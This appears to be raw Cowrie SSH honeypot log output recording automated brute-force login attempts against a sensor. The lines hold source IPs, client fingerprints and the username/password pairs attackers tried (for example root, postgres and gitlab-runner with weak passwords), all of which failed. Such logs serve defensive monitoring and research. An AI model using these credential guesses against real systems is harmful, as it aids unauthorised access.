{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:14.878478Z","src_ip":"45.153.34.114","session":"859a272ee922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:15.312575Z","src_ip":"45.153.34.114","session":"859a272ee922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:16.405528Z","src_ip":"45.153.34.114","session":"859a272ee922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":53339,"dst_ip":"10.17.0.5","dst_port":22,"session":"d323522695d1","protocol":"ssh","message":"New connection: 213.209.159.56:53339 (10.17.0.5:22) [session: d323522695d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:19.486804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:19.490818Z","src_ip":"213.209.159.56","session":"d323522695d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:19.572772Z","src_ip":"213.209.159.56","session":"d323522695d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kirstyn","password":"kirstyn","message":"login attempt [kirstyn/kirstyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:19.975860Z","src_ip":"213.209.159.56","session":"d323522695d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kirstyn","password":"kirstyn1","message":"login attempt [kirstyn/kirstyn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:21.061087Z","src_ip":"213.209.159.56","session":"d323522695d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kirstyn","password":"kirstyn123","message":"login attempt [kirstyn/kirstyn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:22.145317Z","src_ip":"213.209.159.56","session":"d323522695d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47734,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9635698ca8a","protocol":"ssh","message":"New connection: 45.153.34.114:47734 (159.203.135.109:22) [session: d9635698ca8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:22.782489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:22.825459Z","src_ip":"45.153.34.114","session":"d9635698ca8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:22.978225Z","src_ip":"45.153.34.114","session":"d9635698ca8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kirstyn","password":"kirstyn1234","message":"login attempt [kirstyn/kirstyn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:23.229807Z","src_ip":"213.209.159.56","session":"d323522695d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:23.255746Z","src_ip":"45.153.34.114","session":"d9635698ca8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kirstyn","password":"kirstyn12345","message":"login attempt [kirstyn/kirstyn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:24.314754Z","src_ip":"213.209.159.56","session":"d323522695d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:24.341974Z","src_ip":"45.153.34.114","session":"d9635698ca8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:25.400261Z","src_ip":"213.209.159.56","session":"d323522695d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":57042,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5deb3b260d9","protocol":"ssh","message":"New connection: 103.75.199.4:57042 (159.203.135.109:22) [session: f5deb3b260d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:30.188169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:30.193121Z","src_ip":"103.75.199.4","session":"f5deb3b260d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:30.284869Z","src_ip":"103.75.199.4","session":"f5deb3b260d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54950,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf7f40225120","protocol":"ssh","message":"New connection: 45.153.34.114:54950 (159.203.135.109:22) [session: cf7f40225120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:30.475605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:30.483999Z","src_ip":"45.153.34.114","session":"cf7f40225120","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:30.559699Z","src_ip":"103.75.199.4","session":"f5deb3b260d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:30.566384Z","src_ip":"45.153.34.114","session":"cf7f40225120","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin","message":"login attempt [sysadmin/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:31.045777Z","src_ip":"45.153.34.114","session":"cf7f40225120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:31.652673Z","src_ip":"103.75.199.4","session":"f5deb3b260d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:32.130341Z","src_ip":"45.153.34.114","session":"cf7f40225120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54960,"dst_ip":"159.203.135.109","dst_port":22,"session":"01db9c419f87","protocol":"ssh","message":"New connection: 45.153.34.114:54960 (159.203.135.109:22) [session: 01db9c419f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:38.461211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:38.466053Z","src_ip":"45.153.34.114","session":"01db9c419f87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:38.549557Z","src_ip":"45.153.34.114","session":"01db9c419f87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:38.896705Z","src_ip":"45.153.34.114","session":"01db9c419f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:39.982640Z","src_ip":"45.153.34.114","session":"01db9c419f87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39472,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a6bde19923d","protocol":"ssh","message":"New connection: 45.153.34.114:39472 (159.203.135.109:22) [session: 1a6bde19923d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:46.867949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:46.872584Z","src_ip":"45.153.34.114","session":"1a6bde19923d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:46.962275Z","src_ip":"45.153.34.114","session":"1a6bde19923d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:47.218748Z","src_ip":"45.153.34.114","session":"1a6bde19923d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:48.416557Z","src_ip":"45.153.34.114","session":"1a6bde19923d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.60.187","src_port":44570,"dst_ip":"10.17.0.5","dst_port":22,"session":"be6acfc9006b","protocol":"ssh","message":"New connection: 199.127.60.187:44570 (10.17.0.5:22) [session: be6acfc9006b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:51.875619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:51.879530Z","src_ip":"199.127.60.187","session":"be6acfc9006b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:51.918425Z","src_ip":"199.127.60.187","session":"be6acfc9006b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":51116,"dst_ip":"159.203.135.109","dst_port":22,"session":"55fb5759a625","protocol":"ssh","message":"New connection: 103.75.199.4:51116 (159.203.135.109:22) [session: 55fb5759a625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:52.055864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:28:52.060649Z","src_ip":"103.75.199.4","session":"55fb5759a625","protocol":"ssh"}
